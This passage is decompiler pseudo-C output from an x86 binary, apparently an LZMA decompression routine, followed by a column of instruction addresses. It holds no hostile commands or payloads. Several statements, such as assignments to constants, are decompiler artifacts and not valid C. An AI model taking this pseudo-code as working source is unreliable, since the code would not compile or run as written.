                                      												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                      												__eax = 0;
                                      												__eflags =  *(__ebp - 0x38) - 7;
                                      												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                      												__al = __al & 0x000000fd;
                                      												__eax = (__eflags >= 0) - 1 + 0xa;
                                      												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                      												__eax =  *(__ebp - 4);
                                      												__eax =  *(__ebp - 4) + 0x664;
                                      												__eflags = __eax;
                                      												 *(__ebp - 0x58) = __eax;
                                      												goto L69;
                                      											}
                                      											__eax =  *(__ebp - 4);
                                      											__ecx =  *(__ebp - 0x38);
                                      											 *(__ebp - 0x84) = 8;
                                      											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                      											while(1) {
                                      												 *(_t613 - 0x54) = _t606;
                                      												goto L133;
                                      											}
                                      										case 8:
                                      											goto L0;
                                      										case 9:
                                      											__eflags =  *(__ebp - 0x40);
                                      											if( *(__ebp - 0x40) != 0) {
                                      												goto L89;
                                      											}
                                      											__eflags =  *(__ebp - 0x60);
                                      											if( *(__ebp - 0x60) == 0) {
                                      												goto L171;
                                      											}
                                      											__eax = 0;
                                      											__eflags =  *(__ebp - 0x38) - 7;
                                      											_t258 =  *(__ebp - 0x38) - 7 >= 0;
                                      											__eflags = _t258;
                                      											0 | _t258 = _t258 + _t258 + 9;
                                      											 *(__ebp - 0x38) = _t258 + _t258 + 9;
                                      											goto L75;
                                      										case 0xa:
                                      											__eflags =  *(__ebp - 0x40);
                                      											if( *(__ebp - 0x40) != 0) {
                                      												__eax =  *(__ebp - 4);
                                      												__ecx =  *(__ebp - 0x38);
                                      												 *(__ebp - 0x84) = 0xb;
                                      												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                      												while(1) {
                                      													 *(_t613 - 0x54) = _t606;
                                      													goto L133;
                                      												}
                                      											}
                                      											__eax =  *(__ebp - 0x28);
                                      											goto L88;
                                      										case 0xb:
                                      											__eflags =  *(__ebp - 0x40);
                                      											if( *(__ebp - 0x40) != 0) {
                                      												__ecx =  *(__ebp - 0x24);
                                      												__eax =  *(__ebp - 0x20);
                                      												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                      											} else {
                                      												__eax =  *(__ebp - 0x24);
                                      											}
                                      											__ecx =  *(__ebp - 0x28);
                                      											 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                      											L88:
                                      											__ecx =  *(__ebp - 0x2c);
                                      											 *(__ebp - 0x2c) = __eax;
                                      											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                      											L89:
                                      											__eax =  *(__ebp - 4);
                                      											 *(__ebp - 0x80) = 0x15;
                                      											__eax =  *(__ebp - 4) + 0xa68;
                                      											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                      											goto L69;
                                      										case 0xc:
                                      											L99:
                                      											__eflags =  *(__ebp - 0x6c);
                                      											if( *(__ebp - 0x6c) == 0) {
                                      												 *(__ebp - 0x88) = 0xc;
                                      												goto L170;
                                      											}
                                      											__ecx =  *(__ebp - 0x70);
                                      											__eax =  *(__ebp - 0xc);
                                      											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											_t334 = __ebp - 0x70;
                                      											 *_t334 =  *(__ebp - 0x70) + 1;
                                      											__eflags =  *_t334;
                                      											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											__eax =  *(__ebp - 0x2c);
                                      											goto L101;
                                      										case 0xd:
                                      											L37:
                                      											__eflags =  *(__ebp - 0x6c);
                                      											if( *(__ebp - 0x6c) == 0) {
                                      												 *(__ebp - 0x88) = 0xd;
                                      												goto L170;
                                      											}
                                      											__ecx =  *(__ebp - 0x70);
                                      											__eax =  *(__ebp - 0xc);
                                      											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											_t122 = __ebp - 0x70;
                                      											 *_t122 =  *(__ebp - 0x70) + 1;
                                      											__eflags =  *_t122;
                                      											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											L39:
                                      											__eax =  *(__ebp - 0x40);
                                      											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                      											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                      												goto L48;
                                      											}
                                      											__eflags = __ebx - 0x100;
                                      											if(__ebx >= 0x100) {
                                      												goto L54;
                                      											}
                                      											L41:
                                      											__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                      											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                      											__ecx =  *(__ebp - 0x58);
                                      											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                      											 *(__ebp - 0x48) = __eax;
                                      											__eax = __eax + 1;
                                      											__eax = __eax << 8;
                                      											__eax = __eax + __ebx;
                                      											__esi =  *(__ebp - 0x58) + __eax * 2;
                                      											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                      											__ax =  *__esi;
                                      											 *(__ebp - 0x54) = __esi;
                                      											__edx = __ax & 0x0000ffff;
                                      											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                      											__eflags =  *(__ebp - 0xc) - __ecx;
                                      											if( *(__ebp - 0xc) >= __ecx) {
                                      												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                      												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                      												__cx = __ax;
                                      												 *(__ebp - 0x40) = 1;
                                      												__cx = __ax >> 5;
                                      												__eflags = __eax;
                                      												__ebx = __ebx + __ebx + 1;
                                      												 *__esi = __ax;
                                      											} else {
                                      												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                      												 *(__ebp - 0x10) = __ecx;
                                      												0x800 = 0x800 - __edx;
                                      												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                      												__ebx = __ebx + __ebx;
                                      												 *__esi = __cx;
                                      											}
                                      											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      											 *(__ebp - 0x44) = __ebx;
                                      											if( *(__ebp - 0x10) >= 0x1000000) {
                                      												goto L39;
                                      											} else {
                                      												goto L37;
                                      											}
                                      										case 0xe:
                                      											L46:
                                      											__eflags =  *(__ebp - 0x6c);
                                      											if( *(__ebp - 0x6c) == 0) {
                                      												 *(__ebp - 0x88) = 0xe;
                                      												goto L170;
                                      											}
                                      											__ecx =  *(__ebp - 0x70);
                                      											__eax =  *(__ebp - 0xc);
                                      											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											_t156 = __ebp - 0x70;
                                      											 *_t156 =  *(__ebp - 0x70) + 1;
                                      											__eflags =  *_t156;
                                      											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											while(1) {
                                      												L48:
                                      												__eflags = __ebx - 0x100;
                                      												if(__ebx >= 0x100) {
                                      													break;
                                      												}
                                      												__eax =  *(__ebp - 0x58);
                                      												__edx = __ebx + __ebx;
                                      												__ecx =  *(__ebp - 0x10);
                                      												__esi = __edx + __eax;
                                      												__ecx =  *(__ebp - 0x10) >> 0xb;
                                      												__ax =  *__esi;
                                      												 *(__ebp - 0x54) = __esi;
                                      												__edi = __ax & 0x0000ffff;
                                      												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                      												__eflags =  *(__ebp - 0xc) - __ecx;
                                      												if( *(__ebp - 0xc) >= __ecx) {
                                      													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                      													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                      													__cx = __ax;
                                      													_t170 = __edx + 1; // 0x1
                                      													__ebx = _t170;
                                      													__cx = __ax >> 5;
                                      													__eflags = __eax;
                                      													 *__esi = __ax;
                                      												} else {
                                      													 *(__ebp - 0x10) = __ecx;
                                      													0x800 = 0x800 - __edi;
                                      													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                      													__ebx = __ebx + __ebx;
                                      													 *__esi = __cx;
                                      												}
                                      												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      												 *(__ebp - 0x44) = __ebx;
                                      												if( *(__ebp - 0x10) >= 0x1000000) {
                                      													continue;
                                      												} else {
                                      													goto L46;
                                      												}
                                      											}
                                      											L54:
                                      											_t173 = __ebp - 0x34;
                                      											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
                                      											__eflags =  *_t173;
                                      											goto L55;
                                      										case 0xf:
                                      											L58:
                                      											__eflags =  *(__ebp - 0x6c);
                                      											if( *(__ebp - 0x6c) == 0) {
                                      												 *(__ebp - 0x88) = 0xf;
                                      												goto L170;
                                      											}
                                      											__ecx =  *(__ebp - 0x70);
                                      											__eax =  *(__ebp - 0xc);
                                      											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											_t203 = __ebp - 0x70;
                                      											 *_t203 =  *(__ebp - 0x70) + 1;
                                      											__eflags =  *_t203;
                                      											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											L60:
                                      											__eflags = __ebx - 0x100;
                                      											if(__ebx >= 0x100) {
                                      												L55:
                                      												__al =  *(__ebp - 0x44);
                                      												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                      												goto L56;
                                      											}
                                      											L61:
                                      											__eax =  *(__ebp - 0x58);
                                      											__edx = __ebx + __ebx;
                                      											__ecx =  *(__ebp - 0x10);
                                      											__esi = __edx + __eax;
                                      											__ecx =  *(__ebp - 0x10) >> 0xb;
                                      											__ax =  *__esi;
                                      											 *(__ebp - 0x54) = __esi;
                                      											__edi = __ax & 0x0000ffff;
                                      											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                      											__eflags =  *(__ebp - 0xc) - __ecx;
                                      											if( *(__ebp - 0xc) >= __ecx) {
                                      												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                      												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                      												__cx = __ax;
                                      												_t217 = __edx + 1; // 0x1
                                      												__ebx = _t217;
                                      												__cx = __ax >> 5;
                                      												__eflags = __eax;
                                      												 *__esi = __ax;
                                      											} else {
                                      												 *(__ebp - 0x10) = __ecx;
                                      												0x800 = 0x800 - __edi;
                                      												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                      												__ebx = __ebx + __ebx;
                                      												 *__esi = __cx;
                                      											}
                                      											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      											 *(__ebp - 0x44) = __ebx;
                                      											if( *(__ebp - 0x10) >= 0x1000000) {
                                      												goto L60;
                                      											} else {
                                      												goto L58;
                                      											}
                                      										case 0x10:
                                      											L109:
                                      											__eflags =  *(__ebp - 0x6c);
                                      											if( *(__ebp - 0x6c) == 0) {
                                      												 *(__ebp - 0x88) = 0x10;
                                      												goto L170;
                                      											}
                                      											__ecx =  *(__ebp - 0x70);
                                      											__eax =  *(__ebp - 0xc);
                                      											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											_t365 = __ebp - 0x70;
                                      											 *_t365 =  *(__ebp - 0x70) + 1;
                                      											__eflags =  *_t365;
                                      											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											goto L111;
                                      										case 0x11:
                                      											L69:
                                      											__esi =  *(__ebp - 0x58);
                                      											 *(__ebp - 0x84) = 0x12;
                                      											while(1) {
                                      												 *(_t613 - 0x54) = _t606;
                                      												goto L133;
                                      											}
                                      										case 0x12:
                                      											__eflags =  *(__ebp - 0x40);
                                      											if( *(__ebp - 0x40) != 0) {
                                      												__eax =  *(__ebp - 0x58);
                                      												 *(__ebp - 0x84) = 0x13;
                                      												__esi =  *(__ebp - 0x58) + 2;
                                      												while(1) {
                                      													 *(_t613 - 0x54) = _t606;
                                      													goto L133;
                                      												}
                                      											}
                                      											__eax =  *(__ebp - 0x4c);
                                      											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                      											__ecx =  *(__ebp - 0x58);
                                      											__eax =  *(__ebp - 0x4c) << 4;
                                      											__eflags = __eax;
                                      											__eax =  *(__ebp - 0x58) + __eax + 4;
                                      											goto L130;
                                      										case 0x13:
                                      											__eflags =  *(__ebp - 0x40);
                                      											if( *(__ebp - 0x40) != 0) {
                                      												_t469 = __ebp - 0x58;
                                      												 *_t469 =  *(__ebp - 0x58) + 0x204;
                                      												__eflags =  *_t469;
                                      												 *(__ebp - 0x30) = 0x10;
                                      												 *(__ebp - 0x40) = 8;
                                      												L144:
                                      												 *(__ebp - 0x7c) = 0x14;
                                      												goto L145;
                                      											}
                                      											__eax =  *(__ebp - 0x4c);
                                      											__ecx =  *(__ebp - 0x58);
                                      											__eax =  *(__ebp - 0x4c) << 4;
                                      											 *(__ebp - 0x30) = 8;
                                      											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                      											L130:
                                      											 *(__ebp - 0x58) = __eax;
                                      											 *(__ebp - 0x40) = 3;
                                      											goto L144;
                                      										case 0x14:
                                      											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                      											__eax =  *(__ebp - 0x80);
                                      											 *(_t613 - 0x88) = _t533;
                                      											goto L1;
                                      										case 0x15:
                                      											__eax = 0;
                                      											__eflags =  *(__ebp - 0x38) - 7;
                                      											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                      											__al = __al & 0x000000fd;
                                      											__eax = (__eflags >= 0) - 1 + 0xb;
                                      											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                      											goto L120;
                                      										case 0x16:
                                      											__eax =  *(__ebp - 0x30);
                                      											__eflags = __eax - 4;
                                      											if(__eax >= 4) {
                                      												_push(3);
                                      												_pop(__eax);
                                      											}
                                      											__ecx =  *(__ebp - 4);
                                      											 *(__ebp - 0x40) = 6;
                                      											__eax = __eax << 7;
                                      											 *(__ebp - 0x7c) = 0x19;
                                      											 *(__ebp - 0x58) = __eax;
                                      											goto L145;
                                      										case 0x17:
                                      											L145:
                                      											__eax =  *(__ebp - 0x40);
                                      											 *(__ebp - 0x50) = 1;
                                      											 *(__ebp - 0x48) =  *(__ebp - 0x40);
                                      											goto L149;
                                      										case 0x18:
                                      											L146:
                                      											__eflags =  *(__ebp - 0x6c);
                                      											if( *(__ebp - 0x6c) == 0) {
                                      												 *(__ebp - 0x88) = 0x18;
                                      												goto L170;
                                      											}
                                      											__ecx =  *(__ebp - 0x70);
                                      											__eax =  *(__ebp - 0xc);
                                      											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											_t484 = __ebp - 0x70;
                                      											 *_t484 =  *(__ebp - 0x70) + 1;
                                      											__eflags =  *_t484;
                                      											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											L148:
                                      											_t487 = __ebp - 0x48;
                                      											 *_t487 =  *(__ebp - 0x48) - 1;
                                      											__eflags =  *_t487;
                                      											L149:
                                      											__eflags =  *(__ebp - 0x48);
                                      											if( *(__ebp - 0x48) <= 0) {
                                      												__ecx =  *(__ebp - 0x40);
                                      												__ebx =  *(__ebp - 0x50);
                                      												0 = 1;
                                      												__eax = 1 << __cl;
                                      												__ebx =  *(__ebp - 0x50) - (1 << __cl);
                                      												__eax =  *(__ebp - 0x7c);
                                      												 *(__ebp - 0x44) = __ebx;
                                      												while(1) {
                                      													 *(_t613 - 0x88) = _t533;
                                      													goto L1;
                                      												}
                                      											}
                                      											__eax =  *(__ebp - 0x50);
                                      											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                      											__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                      											__eax =  *(__ebp - 0x58);
                                      											__esi = __edx + __eax;
                                      											 *(__ebp - 0x54) = __esi;
                                      											__ax =  *__esi;
                                      											__edi = __ax & 0x0000ffff;
                                      											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                      											__eflags =  *(__ebp - 0xc) - __ecx;
                                      											if( *(__ebp - 0xc) >= __ecx) {
                                      												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                      												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                      												__cx = __ax;
                                      												__cx = __ax >> 5;
                                      												__eax = __eax - __ecx;
                                      												__edx = __edx + 1;
                                      												__eflags = __edx;
                                      												 *__esi = __ax;
                                      												 *(__ebp - 0x50) = __edx;
                                      											} else {
                                      												 *(__ebp - 0x10) = __ecx;
                                      												0x800 = 0x800 - __edi;
                                      												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                      												 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                      												 *__esi = __cx;
                                      											}
                                      											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      											if( *(__ebp - 0x10) >= 0x1000000) {
                                      												goto L148;
                                      											} else {
                                      												goto L146;
                                      											}
                                      										case 0x19:
                                      											__eflags = __ebx - 4;
                                      											if(__ebx < 4) {
                                      												 *(__ebp - 0x2c) = __ebx;
                                      												L119:
                                      												_t393 = __ebp - 0x2c;
                                      												 *_t393 =  *(__ebp - 0x2c) + 1;
                                      												__eflags =  *_t393;
                                      												L120:
                                      												__eax =  *(__ebp - 0x2c);
                                      												__eflags = __eax;
                                      												if(__eax == 0) {
                                      													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                      													goto L170;
                                      												}
                                      												__eflags = __eax -  *(__ebp - 0x60);
                                      												if(__eax >  *(__ebp - 0x60)) {
                                      													goto L171;
                                      												}
                                      												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                      												__eax =  *(__ebp - 0x30);
                                      												_t400 = __ebp - 0x60;
                                      												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                      												__eflags =  *_t400;
                                      												goto L123;
                                      											}
                                      											__ecx = __ebx;
                                      											__eax = __ebx;
                                      											__ecx = __ebx >> 1;
                                      											__eax = __ebx & 0x00000001;
                                      											__ecx = (__ebx >> 1) - 1;
                                      											__al = __al | 0x00000002;
                                      											__eax = (__ebx & 0x00000001) << __cl;
                                      											__eflags = __ebx - 0xe;
                                      											 *(__ebp - 0x2c) = __eax;
                                      											if(__ebx >= 0xe) {
                                      												__ebx = 0;
                                      												 *(__ebp - 0x48) = __ecx;
                                      												L102:
                                      												__eflags =  *(__ebp - 0x48);
                                      												if( *(__ebp - 0x48) <= 0) {
                                      													__eax = __eax + __ebx;
                                      													 *(__ebp - 0x40) = 4;
                                      													 *(__ebp - 0x2c) = __eax;
                                      													__eax =  *(__ebp - 4);
                                      													__eax =  *(__ebp - 4) + 0x644;
                                      													__eflags = __eax;
                                      													L108:
                                      													__ebx = 0;
                                      													 *(__ebp - 0x58) = __eax;
                                      													 *(__ebp - 0x50) = 1;
                                      													 *(__ebp - 0x44) = 0;
                                      													 *(__ebp - 0x48) = 0;
                                      													L112:
                                      													__eax =  *(__ebp - 0x40);
                                      													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                      													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                      														_t391 = __ebp - 0x2c;
                                      														 *_t391 =  *(__ebp - 0x2c) + __ebx;
                                      														__eflags =  *_t391;
                                      														goto L119;
                                      													}
                                      													__eax =  *(__ebp - 0x50);
                                      													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                      													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                      													__eax =  *(__ebp - 0x58);
                                      													__esi = __edi + __eax;
                                      													 *(__ebp - 0x54) = __esi;
                                      													__ax =  *__esi;
                                      													__ecx = __ax & 0x0000ffff;
                                      													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
                                      													__eflags =  *(__ebp - 0xc) - __edx;
                                      													if( *(__ebp - 0xc) >= __edx) {
                                      														__ecx = 0;
                                      														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
                                      														__ecx = 1;
                                      														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
                                      														__ebx = 1;
                                      														__ecx =  *(__ebp - 0x48);
                                      														__ebx = 1 << __cl;
                                      														__ecx = 1 << __cl;
                                      														__ebx =  *(__ebp - 0x44);
                                      														__ebx =  *(__ebp - 0x44) | __ecx;
                                      														__cx = __ax;
                                      														__cx = __ax >> 5;
                                      														__eax = __eax - __ecx;
                                      														__edi = __edi + 1;
                                      														__eflags = __edi;
                                      														 *(__ebp - 0x44) = __ebx;
                                      														 *__esi = __ax;
                                      														 *(__ebp - 0x50) = __edi;
                                      													} else {
                                      														 *(__ebp - 0x10) = __edx;
                                      														0x800 = 0x800 - __ecx;
                                      														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                      														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                      														 *__esi = __dx;
                                      													}
                                      													__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      													if( *(__ebp - 0x10) >= 0x1000000) {
                                      														L111:
                                      														_t368 = __ebp - 0x48;
                                      														 *_t368 =  *(__ebp - 0x48) + 1;
                                      														__eflags =  *_t368;
                                      														goto L112;
                                      													} else {
                                      														goto L109;
                                      													}
                                      												}
                                      												__ecx =  *(__ebp - 0xc);
                                      												__ebx = __ebx + __ebx;
                                      												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
                                      												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                      												 *(__ebp - 0x44) = __ebx;
                                      												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
                                      													__ecx =  *(__ebp - 0x10);
                                      													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                      													__ebx = __ebx | 0x00000001;
                                      													__eflags = __ebx;
                                      													 *(__ebp - 0x44) = __ebx;
                                      												}
                                      												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      												if( *(__ebp - 0x10) >= 0x1000000) {
                                      													L101:
                                      													_t338 = __ebp - 0x48;
                                      													 *_t338 =  *(__ebp - 0x48) - 1;
                                      													__eflags =  *_t338;
                                      													goto L102;
                                      												} else {
                                      													goto L99;
                                      												}
                                      											}
                                      											__edx =  *(__ebp - 4);
                                      											__eax = __eax - __ebx;
                                      											 *(__ebp - 0x40) = __ecx;
                                      											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
                                      											goto L108;
                                      										case 0x1a:
                                      											L56:
                                      											__eflags =  *(__ebp - 0x64);
                                      											if( *(__ebp - 0x64) == 0) {
                                      												 *(__ebp - 0x88) = 0x1a;
                                      												goto L170;
                                      											}
                                      											__ecx =  *(__ebp - 0x68);
                                      											__al =  *(__ebp - 0x5c);
                                      											__edx =  *(__ebp - 8);
                                      											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                      											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                      											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                      											 *( *(__ebp - 0x68)) = __al;
                                      											__ecx =  *(__ebp - 0x14);
                                      											 *(__ecx +  *(__ebp - 8)) = __al;
                                      											__eax = __ecx + 1;
                                      											__edx = 0;
                                      											_t192 = __eax %  *(__ebp - 0x74);
                                      											__eax = __eax /  *(__ebp - 0x74);
                                      											__edx = _t192;
                                      											goto L79;
                                      										case 0x1b:
                                      											L75:
                                      											__eflags =  *(__ebp - 0x64);
                                      											if( *(__ebp - 0x64) == 0) {
                                      												 *(__ebp - 0x88) = 0x1b;
                                      												goto L170;
                                      											}
                                      											__eax =  *(__ebp - 0x14);
                                      											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                      											__eflags = __eax -  *(__ebp - 0x74);
                                      											if(__eax >=  *(__ebp - 0x74)) {
                                      												__eax = __eax +  *(__ebp - 0x74);
                                      												__eflags = __eax;
                                      											}
                                      											__edx =  *(__ebp - 8);
                                      											__cl =  *(__eax + __edx);
                                      											__eax =  *(__ebp - 0x14);
                                      											 *(__ebp - 0x5c) = __cl;
                                      											 *(__eax + __edx) = __cl;
                                      											__eax = __eax + 1;
                                      											__edx = 0;
                                      											_t274 = __eax %  *(__ebp - 0x74);
                                      											__eax = __eax /  *(__ebp - 0x74);
                                      											__edx = _t274;
                                      											__eax =  *(__ebp - 0x68);
                                      											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                      											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                      											_t283 = __ebp - 0x64;
                                      											 *_t283 =  *(__ebp - 0x64) - 1;
                                      											__eflags =  *_t283;
                                      											 *( *(__ebp - 0x68)) = __cl;
                                      											L79:
                                      											 *(__ebp - 0x14) = __edx;
                                      											goto L80;
                                      										case 0x1c:
                                      											while(1) {
                                      												L123:
                                      												__eflags =  *(__ebp - 0x64);
                                      												if( *(__ebp - 0x64) == 0) {
                                      													break;
                                      												}
                                      												__eax =  *(__ebp - 0x14);
                                      												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                      												__eflags = __eax -  *(__ebp - 0x74);
                                      												if(__eax >=  *(__ebp - 0x74)) {
                                      													__eax = __eax +  *(__ebp - 0x74);
                                      													__eflags = __eax;
                                      												}
                                      												__edx =  *(__ebp - 8);
                                      												__cl =  *(__eax + __edx);
                                      												__eax =  *(__ebp - 0x14);
                                      												 *(__ebp - 0x5c) = __cl;
                                      												 *(__eax + __edx) = __cl;
                                      												__eax = __eax + 1;
                                      												__edx = 0;
                                      												_t414 = __eax %  *(__ebp - 0x74);
                                      												__eax = __eax /  *(__ebp - 0x74);
                                      												__edx = _t414;
                                      												__eax =  *(__ebp - 0x68);
                                      												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                      												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                      												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
                                      												__eflags =  *(__ebp - 0x30);
                                      												 *( *(__ebp - 0x68)) = __cl;
                                      												 *(__ebp - 0x14) = _t414;
                                      												if( *(__ebp - 0x30) > 0) {
                                      													continue;
                                      												} else {
                                      													L80:
                                      													 *(__ebp - 0x88) = 2;
                                      													goto L1;
                                      												}
                                      											}
                                      											 *(__ebp - 0x88) = 0x1c;
                                      											goto L170;
                                      									}
                                      								}
                                      								L171:
                                      								_t535 = _t534 | 0xffffffff;
                                      								goto L172;
                                      							}
                                      						}
                                      					}
                                      				}
                                      			}













                                      0x00000000
                                      0x00406c5f
                                      0x00406c5f
                                      0x00406c63
                                      0x00406c8c
                                      0x00406c96
                                      0x00406c65
                                      0x00406c6e
                                      0x00406c7b
                                      0x00406c7e
                                      0x00406fc2
                                      0x00406fc2
                                      0x00406fc5
                                      0x00406fc5
                                      0x00406fc5
                                      0x00406fcb
                                      0x00406fd1
                                      0x00406fd7
                                      0x00406ff1
                                      0x00406ff4
                                      0x00406ffa
                                      0x00407005
                                      0x00407007
                                      0x00406fd9
                                      0x00406fd9
                                      0x00406fe8
                                      0x00406fec
                                      0x00406fec
                                      0x00407011
                                      0x00000000
                                      0x00000000
                                      0x00407013
                                      0x00407017
                                      0x004071c6
                                      0x004071dc
                                      0x004071e4
                                      0x004071eb
                                      0x004071ed
                                      0x004071f4
                                      0x004071f8
                                      0x004071f8
                                      0x00407023
                                      0x0040702a
                                      0x00407032
                                      0x00407035
                                      0x00407038
                                      0x00407038
                                      0x0040703e
                                      0x0040703e
                                      0x004067da
                                      0x004067da
                                      0x004067da
                                      0x004067e3
                                      0x00000000
                                      0x00000000
                                      0x004067e9
                                      0x00000000
                                      0x004067f4
                                      0x00000000
                                      0x00000000
                                      0x004067fd
                                      0x00406800
                                      0x00406803
                                      0x00406807
                                      0x00000000
